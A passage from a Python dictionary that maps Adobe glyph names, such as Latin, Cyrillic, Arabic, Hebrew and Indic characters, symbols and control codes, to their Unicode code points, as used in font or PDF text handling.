u'\u04B0', 'Utilde': u'\u0168', 'Utildeacute': u'\u1E78', 'Utildebelow': u'\u1E74', 'V': u'\u0056', 'Vcircle': u'\u24CB', 'Vdotbelow': u'\u1E7E', 'Vecyrillic': u'\u0412', 'Vewarmenian': u'\u054E', 'Vhook': u'\u01B2', 'Vmonospace': u'\uFF36', 'Voarmenian': u'\u0548', 'Vsmall': u'\uF776', 'Vtilde': u'\u1E7C', 'W': u'\u0057', 'Wacute': u'\u1E82', 'Wcircle': u'\u24CC', 'Wcircumflex': u'\u0174', 'Wdieresis': u'\u1E84', 'Wdotaccent': u'\u1E86', 'Wdotbelow': u'\u1E88', 'Wgrave': u'\u1E80', 'Wmonospace': u'\uFF37', 'Wsmall': u'\uF777', 'X': u'\u0058', 'Xcircle': u'\u24CD', 'Xdieresis': u'\u1E8C', 'Xdotaccent': u'\u1E8A', 'Xeharmenian': u'\u053D', 'Xi': u'\u039E', 'Xmonospace': u'\uFF38', 'Xsmall': u'\uF778', 'Y': u'\u0059', 'Yacute': u'\u00DD', 'Yacutesmall': u'\uF7FD', 'Yatcyrillic': u'\u0462', 'Ycircle': u'\u24CE', 'Ycircumflex': u'\u0176', 'Ydieresis': u'\u0178', 'Ydieresissmall': u'\uF7FF', 'Ydotaccent': u'\u1E8E', 'Ydotbelow': u'\u1EF4', 'Yericyrillic': u'\u042B', 'Yerudieresiscyrillic': u'\u04F8', 'Ygrave': u'\u1EF2', 'Yhook': u'\u01B3', 'Yhookabove': u'\u1EF6', 'Yiarmenian': u'\u0545', 'Yicyrillic': u'\u0407', 'Yiwnarmenian': u'\u0552', 'Ymonospace': u'\uFF39', 'Ysmall': u'\uF779', 'Ytilde': u'\u1EF8', 'Yusbigcyrillic': u'\u046A', 'Yusbigiotifiedcyrillic': u'\u046C', 'Yuslittlecyrillic': u'\u0466', 'Yuslittleiotifiedcyrillic': u'\u0468', 'Z': u'\u005A', 'Zaarmenian': u'\u0536', 'Zacute': u'\u0179', 'Zcaron': u'\u017D', 'Zcaronsmall': u'\uF6FF', 'Zcircle': u'\u24CF', 'Zcircumflex': u'\u1E90', 'Zdot': u'\u017B', 'Zdotaccent': u'\u017B', 'Zdotbelow': u'\u1E92', 'Zecyrillic': u'\u0417', 'Zedescendercyrillic': u'\u0498', 'Zedieresiscyrillic': u'\u04DE', 'Zeta': u'\u0396', 'Zhearmenian': u'\u053A', 'Zhebrevecyrillic': u'\u04C1', 'Zhecyrillic': u'\u0416', 'Zhedescendercyrillic': u'\u0496', 'Zhedieresiscyrillic': u'\u04DC', 'Zlinebelow': u'\u1E94', 'Zmonospace': u'\uFF3A', 'Zsmall': u'\uF77A', 'Zstroke': u'\u01B5', 'a': u'\u0061', 'aabengali': u'\u0986', 'aacute': u'\u00E1', 'aadeva': u'\u0906', 'aagujarati': u'\u0A86', 'aagurmukhi': u'\u0A06', 'aamatragurmukhi': u'\u0A3E', 'aarusquare': u'\u3303', 'aavowelsignbengali': u'\u09BE', 'aavowelsigndeva': u'\u093E', 'aavowelsigngujarati': u'\u0ABE', 'abbreviationmarkarmenian': u'\u055F', 'abbreviationsigndeva': u'\u0970', 'abengali': u'\u0985', 'abopomofo': u'\u311A', 'abreve': u'\u0103', 'abreveacute': u'\u1EAF', 'abrevecyrillic': u'\u04D1', 'abrevedotbelow': u'\u1EB7', 'abrevegrave': u'\u1EB1', 'abrevehookabove': u'\u1EB3', 'abrevetilde': u'\u1EB5', 'acaron': u'\u01CE', 'acircle': u'\u24D0', 'acircumflex': u'\u00E2', 'acircumflexacute': u'\u1EA5', 'acircumflexdotbelow': u'\u1EAD', 'acircumflexgrave': u'\u1EA7', 'acircumflexhookabove': u'\u1EA9', 'acircumflextilde': u'\u1EAB', 'acute': u'\u00B4', 'acutebelowcmb': u'\u0317', 'acutecmb': u'\u0301', 'acutecomb': u'\u0301', 'acutedeva': u'\u0954', 'acutelowmod': u'\u02CF', 'acutetonecmb': u'\u0341', 'acyrillic': u'\u0430', 'adblgrave': u'\u0201', 'addakgurmukhi': u'\u0A71', 'adeva': u'\u0905', 'adieresis': u'\u00E4', 'adieresiscyrillic': u'\u04D3', 'adieresismacron': u'\u01DF', 'adotbelow': u'\u1EA1', 'adotmacron': u'\u01E1', 'ae': u'\u00E6', 'aeacute': u'\u01FD', 'aekorean': u'\u3150', 'aemacron': u'\u01E3', 'afii00208': u'\u2015', 'afii08941': u'\u20A4', 'afii10017': u'\u0410', 'afii10018': u'\u0411', 'afii10019': u'\u0412', 'afii10020': u'\u0413', 'afii10021': u'\u0414', 'afii10022': u'\u0415', 'afii10023': u'\u0401', 'afii10024': u'\u0416', 'afii10025': u'\u0417', 'afii10026': u'\u0418', 'afii10027': u'\u0419', 'afii10028': u'\u041A', 'afii10029': u'\u041B', 'afii10030': u'\u041C', 'afii10031': u'\u041D', 'afii10032': u'\u041E', 'afii10033': u'\u041F', 'afii10034': u'\u0420', 'afii10035': u'\u0421', 'afii10036': u'\u0422', 'afii10037': u'\u0423', 'afii10038': u'\u0424', 'afii10039': u'\u0425', 'afii10040': u'\u0426', 'afii10041': u'\u0427', 'afii10042': u'\u0428', 'afii10043': u'\u0429', 'afii10044': u'\u042A', 'afii10045': u'\u042B', 'afii10046': u'\u042C', 'afii10047': u'\u042D', 'afii10048': u'\u042E', 'afii10049': u'\u042F', 'afii10050': u'\u0490', 'afii10051': u'\u0402', 'afii10052': u'\u0403', 'afii10053': u'\u0404', 'afii10054': u'\u0405', 'afii10055': u'\u0406', 'afii10056': u'\u0407', 'afii10057': u'\u0408', 'afii10058': u'\u0409', 'afii10059': u'\u040A', 'afii10060': u'\u040B', 'afii10061': u'\u040C', 'afii10062': u'\u040E', 'afii10063': u'\uF6C4', 'afii10064': u'\uF6C5', 'afii10065': u'\u0430', 'afii10066': u'\u0431', 'afii10067': u'\u0432', 'afii10068': u'\u0433', 'afii10069': u'\u0434', 'afii10070': u'\u0435', 'afii10071': u'\u0451', 'afii10072': u'\u0436', 'afii10073': u'\u0437', 'afii10074': u'\u0438', 'afii10075': u'\u0439', 'afii10076': u'\u043A', 'afii10077': u'\u043B', 'afii10078': u'\u043C', 'afii10079': u'\u043D', 'afii10080': u'\u043E', 'afii10081': u'\u043F', 'afii10082': u'\u0440', 'afii10083': u'\u0441', 'afii10084': u'\u0442', 'afii10085': u'\u0443', 'afii10086': u'\u0444', 'afii10087': u'\u0445', 'afii10088': u'\u0446', 'afii10089': u'\u0447', 'afii10090': u'\u0448', 'afii10091': u'\u0449', 'afii10092': u'\u044A', 'afii10093': u'\u044B', 'afii10094': u'\u044C', 'afii10095': u'\u044D', 'afii10096': u'\u044E', 'afii10097': u'\u044F', 'afii10098': u'\u0491', 'afii10099': u'\u0452', 'afii10100': u'\u0453', 'afii10101': u'\u0454', 'afii10102': u'\u0455', 'afii10103': u'\u0456', 'afii10104': u'\u0457', 'afii10105': u'\u0458', 'afii10106': u'\u0459', 'afii10107': u'\u045A', 'afii10108': u'\u045B', 'afii10109': u'\u045C', 'afii10110': u'\u045E', 'afii10145': u'\u040F', 'afii10146': u'\u0462', 'afii10147': u'\u0472', 'afii10148': u'\u0474', 'afii10192': u'\uF6C6', 'afii10193': u'\u045F', 'afii10194': u'\u0463', 'afii10195': u'\u0473', 'afii10196': u'\u0475', 'afii10831': u'\uF6C7', 'afii10832': u'\uF6C8', 'afii10846': u'\u04D9', 'afii299': u'\u200E', 'afii300': u'\u200F', 'afii301': u'\u200D', 'afii57381': u'\u066A', 'afii57388': u'\u060C', 'afii57392': u'\u0660', 'afii57393': u'\u0661', 'afii57394': u'\u0662', 'afii57395': u'\u0663', 'afii57396': u'\u0664', 'afii57397': u'\u0665', 'afii57398': u'\u0666', 'afii57399': u'\u0667', 'afii57400': u'\u0668', 'afii57401': u'\u0669', 'afii57403': u'\u061B', 'afii57407': u'\u061F', 'afii57409': u'\u0621', 'afii57410': u'\u0622', 'afii57411': u'\u0623', 'afii57412': u'\u0624', 'afii57413': u'\u0625', 'afii57414': u'\u0626', 'afii57415': u'\u0627', 'afii57416': u'\u0628', 'afii57417': u'\u0629', 'afii57418': u'\u062A', 'afii57419': u'\u062B', 'afii57420': u'\u062C', 'afii57421': u'\u062D', 'afii57422': u'\u062E', 'afii57423': u'\u062F', 'afii57424': u'\u0630', 'afii57425': u'\u0631', 'afii57426': u'\u0632', 'afii57427': u'\u0633', 'afii57428': u'\u0634', 'afii57429': u'\u0635', 'afii57430': u'\u0636', 'afii57431': u'\u0637', 'afii57432': u'\u0638', 'afii57433': u'\u0639', 'afii57434': u'\u063A', 'afii57440': u'\u0640', 'afii57441': u'\u0641', 'afii57442': u'\u0642', 'afii57443': u'\u0643', 'afii57444': u'\u0644', 'afii57445': u'\u0645', 'afii57446': u'\u0646', 'afii57448': u'\u0648', 'afii57449': u'\u0649', 'afii57450': u'\u064A', 'afii57451': u'\u064B', 'afii57452': u'\u064C', 'afii57453': u'\u064D', 'afii57454': u'\u064E', 'afii57455': u'\u064F', 'afii57456': u'\u0650', 'afii57457': u'\u0651', 'afii57458': u'\u0652', 'afii57470': u'\u0647', 'afii57505': u'\u06A4', 'afii57506': u'\u067E', 'afii57507': u'\u0686', 'afii57508': u'\u0698', 'afii57509': u'\u06AF', 'afii57511': u'\u0679', 'afii57512': u'\u0688', 'afii57513': u'\u0691', 'afii57514': u'\u06BA', 'afii57519': u'\u06D2', 'afii57534': u'\u06D5', 'afii57636': u'\u20AA', 'afii57645': u'\u05BE', 'afii57658': u'\u05C3', 'afii57664': u'\u05D0', 'afii57665': u'\u05D1', 'afii57666': u'\u05D2', 'afii57667': u'\u05D3', 'afii57668': u'\u05D4', 'afii57669': u'\u05D5', 'afii57670': u'\u05D6', 'afii57671': u'\u05D7', 'afii57672': u'\u05D8', 'afii57673': u'\u05D9', 'afii57674': u'\u05DA', 'afii57675': u'\u05DB', 'afii57676': u'\u05DC', 'afii57677': u'\u05DD', 'afii57678': u'\u05DE', 'afii57679': u'\u05DF', 'afii57680': u'\u05E0', 'afii57681': u'\u05E1', 'afii57682': u'\u05E2', 'afii57683': u'\u05E3', 'afii57684': u'\u05E4', 'afii57685': u'\u05E5', 'afii57686': u'\u05E6', 'afii57687': u'\u05E7', 'afii57688': u'\u05E8', 'afii57689': u'\u05E9', 'afii57690': u'\u05EA', 'afii57694': u'\uFB2A', 'afii57695': u'\uFB2B', 'afii57700': u'\uFB4B', 'afii57705': u'\uFB1F', 'afii57716': u'\u05F0', 'afii57717': u'\u05F1', 'afii57718': u'\u05F2', 'afii57723': u'\uFB35', 'afii57793': u'\u05B4', 'afii57794': u'\u05B5', 'afii57795': u'\u05B6', 'afii57796': u'\u05BB', 'afii57797': u'\u05B8', 'afii57798': u'\u05B7', 'afii57799': u'\u05B0', 'afii57800': u'\u05B2', 'afii57801': u'\u05B1', 'afii57802': u'\u05B3', 'afii57803': u'\u05C2', 'afii57804': u'\u05C1', 'afii57806': u'\u05B9', 'afii57807': u'\u05BC', 'afii57839': u'\u05BD', 'afii57841': u'\u05BF', 'afii57842': u'\u05C0', 'afii57929': u'\u02BC', 'afii61248': u'\u2105', 'afii61289': u'\u2113', 'afii61352': u'\u2116', 'afii61573': u'\u202C', 'afii61574': u'\u202D', 'afii61575': u'\u202E', 'afii61664': u'\u200C', 'afii63167': u'\u066D', 'afii64937': u'\u02BD', 'agrave': u'\u00E0', 'agujarati': u'\u0A85', 'agurmukhi': u'\u0A05', 'ahiragana': u'\u3042', 'ahookabove': u'\u1EA3', 'aibengali': u'\u0990', 'aibopomofo': u'\u311E', 'aideva': u'\u0910', 'aiecyrillic': u'\u04D5', 'aigujarati': u'\u0A90', 'aigurmukhi': u'\u0A10', 'aimatragurmukhi': u'\u0A48', 'ainarabic': u'\u0639', 'ainfinalarabic': u'\uFECA', 'aininitialarabic': u'\uFECB', 'ainmedialarabic': u'\uFECC', 'ainvertedbreve': u'\u0203', 'aivowelsignbengali': u'\u09C8', 'aivowelsigndeva': u'\u0948', 'aivowelsigngujarati': u'\u0AC8', 'akatakana': u'\u30A2', 'akatakanahalfwidth': u'\uFF71', 'akorean': u'\u314F', 'alef': u'\u05D0', 'alefarabic': u'\u0627', 'alefdageshhebrew': u'\uFB30', 'aleffinalarabic': u'\uFE8E', 'alefhamzaabovearabic': u'\u0623', 'alefhamzaabovefinalarabic': u'\uFE84', 'alefhamzabelowarabic': u'\u0625', 'alefhamzabelowfinalarabic': u'\uFE88', 'alefhebrew': u'\u05D0', 'aleflamedhebrew': u'\uFB4F', 'alefmaddaabovearabic': u'\u0622', 'alefmaddaabovefinalarabic': u'\uFE82', 'alefmaksuraarabic': u'\u0649', 'alefmaksurafinalarabic': u'\uFEF0', 'alefmaksurainitialarabic': u'\uFEF3', 'alefmaksuramedialarabic': u'\uFEF4', 'alefpatahhebrew': u'\uFB2E', 'alefqamatshebrew': u'\uFB2F', 'aleph': u'\u2135', 'allequal': u'\u224C', 'alpha': u'\u03B1', 'alphatonos': u'\u03AC', 'amacron': u'\u0101', 'amonospace': u'\uFF41', 'ampersand': u'\u0026', 'ampersandmonospace': u'\uFF06', 'ampersandsmall': u'\uF726', 'amsquare': u'\u33C2', 'anbopomofo': u'\u3122', 'angbopomofo': u'\u3124', 'angkhankhuthai': u'\u0E5A', 'angle': u'\u2220', 'anglebracketleft': u'\u3008', 'anglebracketleftvertical': u'\uFE3F', 'anglebracketright': u'\u3009', 'anglebracketrightvertical': u'\uFE40', 'angleleft': u'\u2329', 'angleright': u'\u232A', 'angstrom': u'\u212B', 'anoteleia': u'\u0387', 'anudattadeva': u'\u0952', 'anusvarabengali': u'\u0982', 'anusvaradeva': u'\u0902', 'anusvaragujarati': u'\u0A82', 'aogonek': u'\u0105', 'apaatosquare': u'\u3300', 'aparen': u'\u249C', 'apostrophearmenian': u'\u055A', 'apostrophemod': u'\u02BC', 'apple': u'\uF8FF', 'approaches': u'\u2250', 'approxequal': u'\u2248', 'approxequalorimage': u'\u2252', 'approximatelyequal': u'\u2245', 'araeaekorean': u'\u318E', 'araeakorean': u'\u318D', 'arc': u'\u2312', 'arighthalfring': u'\u1E9A', 'aring': u'\u00E5', 'aringacute': u'\u01FB', 'aringbelow': u'\u1E01', 'arrowboth': u'\u2194', 'arrowdashdown': u'\u21E3', 'arrowdashleft': u'\u21E0', 'arrowdashright': u'\u21E2', 'arrowdashup': u'\u21E1', 'arrowdblboth': u'\u21D4', 'arrowdbldown': u'\u21D3', 'arrowdblleft': u'\u21D0', 'arrowdblright': u'\u21D2', 'arrowdblup': u'\u21D1', 'arrowdown': u'\u2193', 'arrowdownleft': u'\u2199', 'arrowdownright': u'\u2198', 'arrowdownwhite': u'\u21E9', 'arrowheaddownmod': u'\u02C5', 'arrowheadleftmod': u'\u02C2', 'arrowheadrightmod': u'\u02C3', 'arrowheadupmod': u'\u02C4', 'arrowhorizex': u'\uF8E7', 'arrowleft': u'\u2190', 'arrowleftdbl': u'\u21D0', 'arrowleftdblstroke': u'\u21CD', 'arrowleftoverright': u'\u21C6', 'arrowleftwhite': u'\u21E6', 'arrowright': u'\u2192', 'arrowrightdblstroke': u'\u21CF', 'arrowrightheavy': u'\u279E', 'arrowrightoverleft': u'\u21C4', 'arrowrightwhite': u'\u21E8', 'arrowtableft': u'\u21E4', 'arrowtabright': u'\u21E5', 'arrowup': u'\u2191', 'arrowupdn': u'\u2195', 'arrowupdnbse': u'\u21A8', 'arrowupdownbase': u'\u21A8', 'arrowupleft': u'\u2196', 'arrowupleftofdown': u'\u21C5', 'arrowupright': u'\u2197', 'arrowupwhite': u'\u21E7', 'arrowvertex': u'\uF8E6', 'asciicircum': u'\u005E', 'asciicircummonospace': u'\uFF3E', 'asciitilde': u'\u007E', 'asciitildemonospace': u'\uFF5E', 'ascript': u'\u0251', 'ascriptturned': u'\u0252', 'asmallhiragana': u'\u3041', 'asmallkatakana': u'\u30A1', 'asmallkatakanahalfwidth': u'\uFF67', 'asterisk': u'\u002A', 'asteriskaltonearabic': u'\u066D', 'asteriskarabic': u'\u066D', 'asteriskmath': u'\u2217', 'asteriskmonospace': u'\uFF0A', 'asterisksmall': u'\uFE61', 'asterism': u'\u2042', 'asuperior': u'\uF6E9', 'asymptoticallyequal': u'\u2243', 'at': u'\u0040', 'atilde': u'\u00E3', 'atmonospace': u'\uFF20', 'atsmall': u'\uFE6B', 'aturned': u'\u0250', 'aubengali': u'\u0994', 'aubopomofo': u'\u3120', 'audeva': u'\u0914', 'augujarati': u'\u0A94', 'augurmukhi': u'\u0A14', 'aulengthmarkbengali': u'\u09D7', 'aumatragurmukhi': u'\u0A4C', 'auvowelsignbengali': u'\u09CC', 'auvowelsigndeva': u'\u094C', 'auvowelsigngujarati': u'\u0ACC', 'avagrahadeva': u'\u093D', 'aybarmenian': u'\u0561', 'ayin': u'\u05E2', 'ayinaltonehebrew': u'\uFB20', 'ayinhebrew': u'\u05E2', 'b': u'\u0062', 'babengali': u'\u09AC', 'backslash': u'\u005C', 'backslashmonospace': u'\uFF3C', 'badeva': u'\u092C', 'bagujarati': u'\u0AAC', 'bagurmukhi': u'\u0A2C', 'bahiragana': u'\u3070', 'bahtthai': u'\u0E3F', 'bakatakana': u'\u30D0', 'bar': u'\u007C', 'barmonospace': u'\uFF5C', 'bbopomofo': u'\u3105', 'bcircle': u'\u24D1', 'bdotaccent': u'\u1E03', 'bdotbelow': u'\u1E05', 'beamedsixteenthnotes': u'\u266C', 'because': u'\u2235', 'becyrillic': u'\u0431', 'beharabic': u'\u0628', 'behfinalarabic': u'\uFE90', 'behinitialarabic': u'\uFE91', 'behiragana': u'\u3079', 'behmedialarabic': u'\uFE92', 'behmeeminitialarabic': u'\uFC9F', 'behmeemisolatedarabic': u'\uFC08', 'behnoonfinalarabic': u'\uFC6D', 'bekatakana': u'\u30D9', 'benarmenian': u'\u0562', 'bet': u'\u05D1', 'beta': u'\u03B2', 'betasymbolgreek': u'\u03D0', 'betdagesh': u'\uFB31', 'betdageshhebrew': u'\uFB31', 'bethebrew': u'\u05D1', 'betrafehebrew': u'\uFB4C', 'bhabengali': u'\u09AD', 'bhadeva': u'\u092D', 'bhagujarati': u'\u0AAD', 'bhagurmukhi': u'\u0A2D', 'bhook': u'\u0253', 'bihiragana': u'\u3073', 'bikatakana': u'\u30D3', 'bilabialclick': u'\u0298', 'bindigurmukhi': u'\u0A02', 'birusquare': u'\u3331', 'blackcircle': u'\u25CF', 'blackdiamond': u'\u25C6', 'blackdownpointingtriangle': u'\u25BC', 'blackleftpointingpointer': u'\u25C4', 'blackleftpointingtriangle': u'\u25C0', 'blacklenticularbracketleft': u'\u3010', 'blacklenticularbracketleftvertical': u'\uFE3B', 'blacklenticularbracketright': u'\u3011', 'blacklenticularbracketrightvertical': u'\uFE3C', 'blacklowerlefttriangle': u'\u25E3', 'blacklowerrighttriangle': u'\u25E2', 'blackrectangle': u'\u25AC', 'blackrightpointingpointer': u'\u25BA', 'blackrightpointingtriangle': u'\u25B6', 'blacksmallsquare': u'\u25AA', 'blacksmilingface': u'\u263B', 'blacksquare': u'\u25A0', 'blackstar': u'\u2605', 'blackupperlefttriangle': u'\u25E4', 'blackupperrighttriangle': u'\u25E5', 'blackuppointingsmalltriangle': u'\u25B4', 'blackuppointingtriangle': u'\u25B2', 'blank': u'\u2423', 'blinebelow': u'\u1E07', 'block': u'\u2588', 'bmonospace': u'\uFF42', 'bobaimaithai': u'\u0E1A', 'bohiragana': u'\u307C', 'bokatakana': u'\u30DC', 'bparen': u'\u249D', 'bqsquare': u'\u33C3', 'braceex': u'\uF8F4', 'braceleft': u'\u007B', 'braceleftbt': u'\uF8F3', 'braceleftmid': u'\uF8F2', 'braceleftmonospace': u'\uFF5B', 'braceleftsmall': u'\uFE5B', 'bracelefttp': u'\uF8F1', 'braceleftvertical': u'\uFE37', 'braceright': u'\u007D', 'bracerightbt': u'\uF8FE', 'bracerightmid': u'\uF8FD', 'bracerightmonospace': u'\uFF5D', 'bracerightsmall': u'\uFE5C', 'bracerighttp': u'\uF8FC', 'bracerightvertical': u'\uFE38', 'bracketleft': u'\u005B', 'bracketleftbt': u'\uF8F0', 'bracketleftex': u'\uF8EF', 'bracketleftmonospace': u'\uFF3B', 'bracketlefttp': u'\uF8EE', 'bracketright': u'\u005D', 'bracketrightbt': u'\uF8FB', 'bracketrightex': u'\uF8FA', 'bracketrightmonospace': u'\uFF3D', 'bracketrighttp': u'\uF8F9', 'breve': u'\u02D8', 'brevebelowcmb': u'\u032E', 'brevecmb': u'\u0306', 'breveinvertedbelowcmb': u'\u032F', 'breveinvertedcmb': u'\u0311', 'breveinverteddoublecmb': u'\u0361', 'bridgebelowcmb': u'\u032A', 'bridgeinvertedbelowcmb': u'\u033A', 'brokenbar': u'\u00A6', 'bstroke': u'\u0180', 'bsuperior': u'\uF6EA', 'btopbar': u'\u0183', 'buhiragana': u'\u3076', 'bukatakana': u'\u30D6', 'bullet': u'\u2022', 'bulletinverse': u'\u25D8', 'bulletoperator': u'\u2219', 'bullseye': u'\u25CE', 'c': u'\u0063', 'caarmenian': u'\u056E', 'cabengali': u'\u099A', 'cacute': u'\u0107', 'cadeva': u'\u091A', 'cagujarati': u'\u0A9A', 'cagurmukhi': u'\u0A1A', 'calsquare': u'\u3388', 'candrabindubengali': u'\u0981', 'candrabinducmb': u'\u0310', 'candrabindudeva': u'\u0901', 'candrabindugujarati': u'\u0A81', 'capslock': u'\u21EA', 'careof': u'\u2105', 'caron': u'\u02C7', 'caronbelowcmb': u'\u032C', 'caroncmb': u'\u030C', 'carriagereturn': u'\u21B5', 'cbopomofo': u'\u3118', 'ccaron': u'\u010D', 'ccedilla': u'\u00E7', 'ccedillaacute': u'\u1E09', 'ccircle': u'\u24D2', 'ccircumflex': u'\u0109', 'ccurl': u'\u0255', 'cdot': u'\u010B', 'cdotaccent': u'\u010B', 'cdsquare': u'\u33C5', 'cedilla': u'\u00B8', 'cedillacmb': u'\u0327', 'cent': u'\u00A2', 'centigrade': u'\u2103', 'centinferior': u'\uF6DF', 'centmonospace': u'\uFFE0', 'centoldstyle': u'\uF7A2', 'centsuperior': u'\uF6E0', 'chaarmenian': u'\u0579', 'chabengali': u'\u099B', 'chadeva': u'\u091B', 'chagujarati': u'\u0A9B', 'chagurmukhi': u'\u0A1B', 'chbopomofo': u'\u3114', 'cheabkhasiancyrillic': u'\u04BD', 'checkmark': u'\u2713', 'checyrillic': u'\u0447', 'chedescenderabkhasiancyrillic': u'\u04BF', 'chedescendercyrillic': u'\u04B7', 'chedieresiscyrillic': u'\u04F5', 'cheharmenian': u'\u0573', 'chekhakassiancyrillic': u'\u04CC', 'cheverticalstrokecyrillic': u'\u04B9', 'chi': u'\u03C7', 'chieuchacirclekorean': u'\u3277', 'chieuchaparenkorean': u'\u3217', 'chieuchcirclekorean': u'\u3269', 'chieuchkorean': u'\u314A', 'chieuchparenkorean': u'\u3209', 'chochangthai': u'\u0E0A', 'chochanthai': u'\u0E08', 'chochingthai': u'\u0E09', 'chochoethai': u'\u0E0C', 'chook': u'\u0188', 'cieucacirclekorean': u'\u3276', 'cieucaparenkorean': u'\u3216', 'cieuccirclekorean': u'\u3268', 'cieuckorean': u'\u3148', 'cieucparenkorean': u'\u3208', 'cieucuparenkorean': u'\u321C', 'circle': u'\u25CB', 'circlemultiply': u'\u2297', 'circleot': u'\u2299', 'circleplus': u'\u2295', 'circlepostalmark': u'\u3036', 'circlewithlefthalfblack': u'\u25D0', 'circlewithrighthalfblack': u'\u25D1', 'circumflex': u'\u02C6', 'circumflexbelowcmb': u'\u032D', 'circumflexcmb': u'\u0302', 'clear': u'\u2327', 'clickalveolar': u'\u01C2', 'clickdental': u'\u01C0', 'clicklateral': u'\u01C1', 'clickretroflex': u'\u01C3', 'club': u'\u2663', 'clubsuitblack': u'\u2663', 'clubsuitwhite': u'\u2667', 'cmcubedsquare': u'\u33A4', 'cmonospace': u'\uFF43', 'cmsquaredsquare': u'\u33A0', 'coarmenian': u'\u0581', 'colon': u'\u003A', 'colonmonetary': u'\u20A1', 'colonmonospace': u'\uFF1A', 'colonsign': u'\u20A1', 'colonsmall': u'\uFE55', 'colontriangularhalfmod': u'\u02D1', 'colontriangularmod': u'\u02D0', 'comma': u'\u002C', 'commaabovecmb': u'\u0313', 'commaaboverightcmb': u'\u0315', 'commaaccent': u'\uF6C3', 'commaarabic': u'\u060C', 'commaarmenian': u'\u055D', 'commainferior': u'\uF6E1', 'commamonospace': u'\uFF0C', 'commareversedabovecmb': u'\u0314', 'commareversedmod': u'\u02BD', 'commasmall': u'\uFE50', 'commasuperior': u'\uF6E2', 'commaturnedabovecmb': u'\u0312', 'commaturnedmod': u'\u02BB', 'compass': u'\u263C', 'congruent': u'\u2245', 'contourintegral': u'\u222E', 'control': u'\u2303', 'controlACK': u'\u0006', 'controlBEL': u'\u0007', 'controlBS': u'\u0008', 'controlCAN': u'\u0018', 'controlCR': u'\u000D', 'controlDC1': u'\u0011', 'controlDC2': u'\u0012', 'controlDC3': u'\u0013', 'controlDC4': u'\u0014', 'controlDEL': u'\u007F', 'controlDLE': u'\u0010', 'controlEM': u'\u0019', 'controlENQ': u'\u0005', 'controlEOT': u'\u0004', 'controlESC': u'\u001B', 'controlETB': u'\u0017', 'controlETX': u'\u0003', 'controlFF': u'\u000C', 'controlFS': u'\u001C', 'controlGS': u'\u001D', 'controlHT': u'\u0009', 'controlLF': u'\u000A', 'controlNAK': u'\u0015', 'controlRS': u'\u001E', 'controlSI': u'\u000F', 'controlSO': u'\u000E', 'controlSOT': u'\u0002', 'controlSTX': u'\u0001', 'controlSUB': u'\u001A', 'controlSYN': u'\u0016', 'controlUS': u'\u001F', 'controlVT': u'\u000B', 'copyright': u'\u00A9', 'copyrightsans': u'\uF8E9', 'copyrightserif': u'\uF6D9', 'cornerbracketleft': u'\u300C', 'cornerbracketlefthalfwidth': u'\uFF62', 'cornerbracketleftvertical': u'\uFE41', 'cornerbracketright': u'\u300D', 'cornerbracketrighthalfwidth': u'\uFF63', 'cornerbracketrightvertical': u'\uFE42', 'corporationsquare': u'\u337F', 'cosquare': u'\u33C7', 'coverkgsquare': u'\u33C6', 'cparen': u'\u249E', 'cruzeiro': u'\u20A2', 'cstretched': u'\u0297', 'curlyand': u'\u22CF', 'curlyor': u'\u22CE', 'currency': u'\u00A4', 'cyrBreve': u'\uF6D1', 'cyrFlex': u'\uF6D2', 'cyrbreve': u'\uF6D4', 'cyrflex': u'\uF6D5', 'd': u'\u0064', 'daarmenian': u'\u0564', 'dabengali': u'\u09A6', 'dadarabic': u'\u0636', 'dadeva': u'\u0926', 'dadfinalarabic': u'\uFEBE', 'dadinitialarabic': u'\uFEBF', 'dadmedialarabic': u'\uFEC0', 'dagesh': u'\u05BC', 'dageshhebrew': u'\u05BC', 'dagger': u'\u2020', 'daggerdbl': u'\u2021', 'dagujarati': u'\u0AA6', 'dagurmukhi': u'\u0A26', 'dahiragana': u'\u3060', 'dakatakana': u'\u30C0', 'dalarabic': u'\u062F', 'dalet': u'\u05D3', 'daletdagesh': u'\uFB33', 'daletdageshhebrew': u'\uFB33', 'dalethatafpatah': u'\u05D3\u05B2', 'dalethatafpatahhebrew': u'\u05D3\u05B2', 'dalethatafsegol': u'\u05D3\u05B1', 'dalethatafsegolhebrew': u'\u05D3\u05B1', 'dalethebrew': u'\u05D3', 'dalethiriq': u'\u05D3\u05B4', 'dalethiriqhebrew': u'\u05D3\u05B4', 'daletholam': u'\u05D3\u05B9', 'daletholamhebrew': u'\u05D3\u05B9', 'daletpatah': u'\u05D3\u05B7', 'daletpatahhebrew': u'\u05D3\u05B7', 'daletqamats': u'\u05D3\u05B8', 'daletqamatshebrew': u'\u05D3\u05B8', 'daletqubuts': u'\u05D3\u05BB', 'daletqubutshebrew': u'\u05D3\u05BB', 'daletsegol': u'\u05D3\u05B6', 'daletsegolhebrew': u'\u05D3\u05B6', 'daletsheva': u'\u05D3\u05B0', 'daletshevahebrew': u'\u05D3\u05B0', 'dalettsere': u'\u05D3\u05B5', 'dalettserehebrew': u'\u05D3\u05B5', 'dalfinalarabic': u'\uFEAA', 'dammaarabic': u'\u064F', 'dammalowarabic': u'\u064F', 'dammatanaltonearabic': u'\u064C', 'dammatanarabic': u'\u064C', 'danda': u'\u0964', 'dargahebrew': u'\u05A7', 'dargalefthebrew': u'\u05A7', 'dasiapneumatacyrilliccmb': u'\u0485', 'dblGrave': u'\uF6D3', 'dblanglebracketleft': u'\u300A', 'dblanglebracketleftvertical': u'\uFE3D', 'dblanglebracketright': u'\u300B', 'dblanglebracketrightvertical': u'\uFE3E', 'dblarchinvertedbelowcmb': u'\u032B', 'dblarrowleft': u'\u21D4', 'dblarrowright': u'\u21D2', 'dbldanda': u'\u0965', 'dblgrave': u'\uF6D6', 'dblgravecmb': u'\u030F', 'dblintegral': u'\u222C', 'dbllowline': u'\u2017', 'dbllowlinecmb': u'\u0333', 'dbloverlinecmb': u'\u033F', 'dblprimemod': u'\u02BA', 'dblverticalbar': u'\u2016', 'dblverticallineabovecmb': u'\u030E', 'dbopomofo': u'\u3109', 'dbsquare': u'\u33C8', 'dcaron': u'\u010F', 'dcedilla': u'\u1E11', 'dcircle': u'\u24D3', 'dcircumflexbelow': u'\u1E13', 'dcroat': u'\u0111', 'ddabengali': u'\u09A1', 'ddadeva': u'\u0921', 'ddagujarati': u'\u0AA1', 'ddagurmukhi': u'\u0A21', 'ddalarabic': u'\u0688', 'ddalfinalarabic': u'\uFB89', 'dddhadeva': u'\u095C', 'ddhabengali': u'\u09A2', 'ddhadeva': u'\u0922', 'ddhagujarati': u'\u0AA2', 'ddhagurmukhi': u'\u0A22', 'ddotaccent': u'\u1E0B', 'ddotbelow': u'\u1E0D', 